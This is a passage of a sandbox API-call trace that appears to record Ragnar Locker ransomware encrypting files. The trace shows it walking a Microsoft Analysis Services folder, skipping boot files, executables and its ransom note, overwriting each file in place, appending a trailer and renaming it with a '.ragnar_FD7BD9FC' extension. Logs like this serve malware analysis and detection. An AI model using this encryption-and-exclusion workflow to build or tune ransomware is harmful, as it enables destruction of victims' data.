ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x0, dwReserved1=0x0, cFileName="as80.xsl", cAlternateFileName="")) returned 1 [0079.452] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x4b [0079.452] lstrcpyW (in: lpString1=0x1eab78, lpString2="as80.xsl" | out: lpString1="as80.xsl") returned="as80.xsl" [0079.452] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned=".xsl" [0079.452] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0079.452] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=17248) returned 1 [0079.453] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x4357, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.453] GetProcessHeap () returned 0x580000 [0079.453] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.453] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0079.454] VirtualAlloc (lpAddress=0x0, dwSize=0x4360, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.455] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.455] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0079.455] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4360, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x4360, lpOverlapped=0x0) returned 1 [0079.456] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0079.456] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4360, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.456] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x4360, lpOverlapped=0x0) returned 1 [0079.456] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4360, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.456] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.457] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x4360, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.457] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.457] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0079.457] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0079.457] WriteFile (in: hFile=0x104, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0079.457] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.457] GetProcessHeap () returned 0x580000 [0079.457] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.457] CloseHandle (hObject=0x104) returned 1 [0079.457] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" [0079.457] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.ragnar_FD7BD9FC" [0079.457] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.458] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5ed7d9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4932, dwReserved0=0x0, dwReserved1=0x0, cFileName="as90.xsl", cAlternateFileName="")) returned 1 [0079.458] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x4b [0079.458] lstrcpyW (in: lpString1=0x1eab78, lpString2="as90.xsl" | out: lpString1="as90.xsl") returned="as90.xsl" [0079.458] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned=".xsl" [0079.458] lstrcmpiW (lpString1="as90.xsl", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.458] lstrcmpiW (lpString1="as90.xsl", lpString2="autorun.inf") returned -1 [0079.458] lstrcmpiW (lpString1="as90.xsl", lpString2="boot.ini") returned -1 [0079.458] lstrcmpiW (lpString1="as90.xsl", lpString2="bootfont.bin") returned -1 [0079.458] lstrcmpiW (lpString1="as90.xsl", lpString2="bootsect.bak") returned -1 [0079.458] lstrcmpiW (lpString1="as90.xsl", lpString2="bootmgr") returned -1 [0079.458] lstrcmpiW (lpString1="as90.xsl", lpString2="bootmgr.efi") returned -1 [0079.458] lstrcmpiW (lpString1="as90.xsl", lpString2="bootmgfw.efi") returned -1 [0079.458] lstrcmpiW (lpString1="as90.xsl", lpString2="desktop.ini") returned -1 [0079.458] lstrcmpiW (lpString1="as90.xsl", lpString2="iconcache.db") returned -1 [0079.458] lstrcmpiW (lpString1="as90.xsl", lpString2="ntldr") returned -1 [0079.458] lstrcmpiW (lpString1="as90.xsl", lpString2="ntuser.dat") returned -1 [0079.458] lstrcmpiW (lpString1="as90.xsl", lpString2="ntuser.dat.log") returned -1 [0079.458] lstrcmpiW (lpString1="as90.xsl", lpString2="ntuser.ini") returned -1 [0079.458] lstrcmpiW (lpString1="as90.xsl", lpString2="thumbs.db") returned -1 [0079.458] lstrcmpiW (lpString1=".xsl", lpString2=".db") returned 1 [0079.458] lstrcmpiW (lpString1=".xsl", lpString2=".sys") returned 1 [0079.458] lstrcmpiW (lpString1=".xsl", lpString2=".dll") returned 1 [0079.458] lstrcmpiW (lpString1=".xsl", lpString2=".lnk") returned 1 [0079.458] lstrcmpiW (lpString1=".xsl", lpString2=".msi") returned 1 [0079.458] lstrcmpiW (lpString1=".xsl", lpString2=".drv") returned 1 [0079.458] lstrcmpiW (lpString1=".xsl", lpString2=".exe") returned 1 [0079.458] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl")) returned 0x20 [0079.459] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0079.459] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=18738) returned 1 [0079.460] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x4929, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.460] GetProcessHeap () returned 0x580000 [0079.460] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.460] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0079.462] VirtualAlloc (lpAddress=0x0, dwSize=0x4932, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.462] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.462] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0079.462] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4932, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x4932, lpOverlapped=0x0) returned 1 [0079.463] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0079.463] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4932, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.463] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4932, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x4932, lpOverlapped=0x0) returned 1 [0079.463] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4932, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.463] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.464] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x4932, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.464] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.464] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0079.464] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0079.464] WriteFile (in: hFile=0x104, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0079.464] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.464] GetProcessHeap () returned 0x580000 [0079.464] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.464] CloseHandle (hObject=0x104) returned 1 [0079.464] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" [0079.464] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.ragnar_FD7BD9FC" [0079.464] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.465] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x78e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Informix.xsl", cAlternateFileName="")) returned 1 [0079.465] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x4b [0079.465] lstrcpyW (in: lpString1=0x1eab78, lpString2="Informix.xsl" | out: lpString1="Informix.xsl") returned="Informix.xsl" [0079.465] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned=".xsl" [0079.465] lstrcmpiW (lpString1="Informix.xsl", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.465] lstrcmpiW (lpString1="Informix.xsl", lpString2="autorun.inf") returned 1 [0079.465] lstrcmpiW (lpString1="Informix.xsl", lpString2="boot.ini") returned 1 [0079.465] lstrcmpiW (lpString1="Informix.xsl", lpString2="bootfont.bin") returned 1 [0079.465] lstrcmpiW (lpString1="Informix.xsl", lpString2="bootsect.bak") returned 1 [0079.465] lstrcmpiW (lpString1="Informix.xsl", lpString2="bootmgr") returned 1 [0079.465] lstrcmpiW (lpString1="Informix.xsl", lpString2="bootmgr.efi") returned 1 [0079.465] lstrcmpiW (lpString1="Informix.xsl", lpString2="bootmgfw.efi") returned 1 [0079.465] lstrcmpiW (lpString1="Informix.xsl", lpString2="desktop.ini") returned 1 [0079.465] lstrcmpiW (lpString1="Informix.xsl", lpString2="iconcache.db") returned 1 [0079.465] lstrcmpiW (lpString1="Informix.xsl", lpString2="ntldr") returned -1 [0079.465] lstrcmpiW (lpString1="Informix.xsl", lpString2="ntuser.dat") returned -1 [0079.465] lstrcmpiW (lpString1="Informix.xsl", lpString2="ntuser.dat.log") returned -1 [0079.465] lstrcmpiW (lpString1="Informix.xsl", lpString2="ntuser.ini") returned -1 [0079.465] lstrcmpiW (lpString1="Informix.xsl", lpString2="thumbs.db") returned -1 [0079.465] lstrcmpiW (lpString1=".xsl", lpString2=".db") returned 1 [0079.465] lstrcmpiW (lpString1=".xsl", lpString2=".sys") returned 1 [0079.465] lstrcmpiW (lpString1=".xsl", lpString2=".dll") returned 1 [0079.465] lstrcmpiW (lpString1=".xsl", lpString2=".lnk") returned 1 [0079.465] lstrcmpiW (lpString1=".xsl", lpString2=".msi") returned 1 [0079.466] lstrcmpiW (lpString1=".xsl", lpString2=".drv") returned 1 [0079.466] lstrcmpiW (lpString1=".xsl", lpString2=".exe") returned 1 [0079.466] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl")) returned 0x20 [0079.466] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0079.467] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=30948) returned 1 [0079.467] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x78db, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.467] GetProcessHeap () returned 0x580000 [0079.467] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.467] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0079.468] VirtualAlloc (lpAddress=0x0, dwSize=0x78e4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.468] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.468] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0079.468] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x78e4, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x78e4, lpOverlapped=0x0) returned 1 [0079.470] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0079.470] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x78e4, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.470] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x78e4, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x78e4, lpOverlapped=0x0) returned 1 [0079.470] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x78e4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.470] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.471] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x78e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.471] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.471] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0079.471] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0079.471] WriteFile (in: hFile=0x104, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0079.471] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.471] GetProcessHeap () returned 0x580000 [0079.471] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.471] CloseHandle (hObject=0x104) returned 1 [0079.471] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" [0079.471] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.ragnar_FD7BD9FC" [0079.471] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.472] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x712e, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjet.xsl", cAlternateFileName="")) returned 1 [0079.472] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x4b [0079.472] lstrcpyW (in: lpString1=0x1eab78, lpString2="msjet.xsl" | out: lpString1="msjet.xsl") returned="msjet.xsl" [0079.472] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned=".xsl" [0079.472] lstrcmpiW (lpString1="msjet.xsl", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.472] lstrcmpiW (lpString1="msjet.xsl", lpString2="autorun.inf") returned 1 [0079.472] lstrcmpiW (lpString1="msjet.xsl", lpString2="boot.ini") returned 1 [0079.472] lstrcmpiW (lpString1="msjet.xsl", lpString2="bootfont.bin") returned 1 [0079.472] lstrcmpiW (lpString1="msjet.xsl", lpString2="bootsect.bak") returned 1 [0079.472] lstrcmpiW (lpString1="msjet.xsl", lpString2="bootmgr") returned 1 [0079.472] lstrcmpiW (lpString1="msjet.xsl", lpString2="bootmgr.efi") returned 1 [0079.472] lstrcmpiW (lpString1="msjet.xsl", lpString2="bootmgfw.efi") returned 1 [0079.472] lstrcmpiW (lpString1="msjet.xsl", lpString2="desktop.ini") returned 1 [0079.472] lstrcmpiW (lpString1="msjet.xsl", lpString2="iconcache.db") returned 1 [0079.472] lstrcmpiW (lpString1="msjet.xsl", lpString2="ntldr") returned -1 [0079.472] lstrcmpiW (lpString1="msjet.xsl", lpString2="ntuser.dat") returned -1 [0079.472] lstrcmpiW (lpString1="msjet.xsl", lpString2="ntuser.dat.log") returned -1 [0079.472] lstrcmpiW (lpString1="msjet.xsl", lpString2="ntuser.ini") returned -1 [0079.472] lstrcmpiW (lpString1="msjet.xsl", lpString2="thumbs.db") returned -1 [0079.472] lstrcmpiW (lpString1=".xsl", lpString2=".db") returned 1 [0079.472] lstrcmpiW (lpString1=".xsl", lpString2=".sys") returned 1 [0079.472] lstrcmpiW (lpString1=".xsl", lpString2=".dll") returned 1 [0079.472] lstrcmpiW (lpString1=".xsl", lpString2=".lnk") returned 1 [0079.472] lstrcmpiW (lpString1=".xsl", lpString2=".msi") returned 1 [0079.472] lstrcmpiW (lpString1=".xsl", lpString2=".drv") returned 1 [0079.473] lstrcmpiW (lpString1=".xsl", lpString2=".exe") returned 1 [0079.473] GetFileAttributesW 